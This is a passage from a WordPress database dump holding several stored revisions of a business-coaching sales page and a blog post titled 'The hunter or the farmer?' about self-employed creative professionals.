choices.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullic,com" target="_blank">design agency</a>, I have been a successful creative entrepreneur for over three decades. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the work that matters to you and creates financial success.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Business Development Coaching</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity,  I can help you to leverage your personal effectiveness, clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift the thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our coaching format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 12:59:33', '2011-11-27 19:59:33', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-159/', 0, 'revision', '', 0),
(1815, 2, '2011-11-27 13:05:43', '2011-11-27 20:05:43', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage creative entrepreneurs, solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>I offer marketing and business development expertise and guidance to help you and your team focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business deveopment success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of alternative choices.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have been a successful creative entrepreneur for over three decades. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the work that matters to you and creates financial success.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Coaching</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity,  I can help you to leverage your personal effectiveness, clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift the thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our coaching format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 13:05:43', '2011-11-27 20:05:43', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-161/', 0, 'revision', '', 0),
(1814, 2, '2011-11-27 13:01:57', '2011-11-27 20:01:57', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage creative entrepreneurs, solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>I offer marketing and business development expertise and guidance to help you and your team focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business deveopment success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of alternative choices.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have been a successful creative entrepreneur for over three decades. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the work that matters to you and creates financial success.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Business Development Coaching</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity,  I can help you to leverage your personal effectiveness, clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift the thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our coaching format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 13:01:57', '2011-11-27 20:01:57', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-160/', 0, 'revision', '', 0),
(1816, 2, '2011-11-27 13:14:35', '2011-11-27 20:14:35', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage creative entrepreneurs, solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>I offer marketing and business development expertise and guidance to help you and your team focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business deveopment success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of alternative choices.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have been a successful creative entrepreneur for over three decades. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the work that matters to you and creates financial success.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity,  I can help you to leverage your personal effectiveness, clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift the thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our coaching format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 13:14:35', '2011-11-27 20:14:35', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-162/', 0, 'revision', '', 0),
(1822, 2, '2011-12-04 16:59:36', '2011-12-04 23:59:36', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\n\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\n\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\n\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\n\nLet that not be you,\n\nIn your busness development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.\n\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\n\n<strong>Will you be the farmer or the hunter?</strong>\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\n\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\n\n<strong>The big decision hunters need to make.</strong>\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\n\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\n\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-4', '', '', '2011-12-04 16:59:36', '2011-12-04 23:59:36', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-4/', 0, 'revision', '', 0),
(1819, 2, '2011-12-04 16:53:40', '2011-12-04 23:53:40', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\n\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\n\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\n\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\n\nLet that not be you.\n<h2>As a self-employed creative professional, particularly at the beginning of your business success, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\n\n<strong>Will you be the farmer or the hunter?</strong>\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\n\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\n\nThe trouble with a hunting business is when the game is scarce, hunters will eat anything.\n\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\n\n<strong>The big decision hunters need to make.</strong>\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\n\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\n\n&nbsp;\n\nFrom my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can develop the discipline to work on your business.  Farm don’t hunt.', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision', '', '', '2011-12-04 16:53:40', '2011-12-04 23:53:40', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision/', 0, 'revision', '', 0);
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(1820, 2, '2011-12-04 16:54:35', '2011-12-04 23:54:35', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\r\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\r\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\r\n\r\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\r\n\r\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\r\n\r\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\r\n\r\nLet that not be you.\r\n<h2>As a self-employed creative professional, particularly at the beginning of your business success, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\r\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\r\n\r\n<strong>Will you be the farmer or the hunter?</strong>\r\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\r\n\r\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\r\n\r\nThe trouble with a hunting business is when the game is scarce, hunters will eat anything.\r\n\r\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\r\n\r\n<strong>The big decision hunters need to make.</strong>\r\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\r\n\r\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\r\n\r\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-2', '', '', '2011-12-04 16:54:35', '2011-12-04 23:54:35', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-2/', 0, 'revision', '', 0),
(1821, 2, '2011-12-04 16:54:44', '2011-12-04 23:54:44', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\r\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\r\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\r\n\r\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\r\n\r\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\r\n\r\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\r\n\r\nLet that not be you.\r\n<h2>As a self-employed creative professional, particularly at the beginning of your business success, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\r\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\r\n\r\n<strong>Will you be the farmer or the hunter?</strong>\r\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\r\n\r\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\r\n\r\nThe trouble with a hunting business is when the game is scarce, hunters will eat anything.\r\n\r\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\r\n\r\n<strong>The big decision hunters need to make.</strong>\r\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\r\n\r\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\r\n\r\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-3', '', '', '2011-12-04 16:54:44', '2011-12-04 23:54:44', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-3/', 0, 'revision', '', 0),
(1823, 2, '2011-12-04 17:01:06', '2011-12-05 00:01:06', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\n\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\n\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\n\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\n\nLet that not be you,\n<h2>In your busness development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\n\n<strong>Will you be the farmer or the hunter?</strong>\nFarmers favor co-operation and collaboration, hunters favor individual 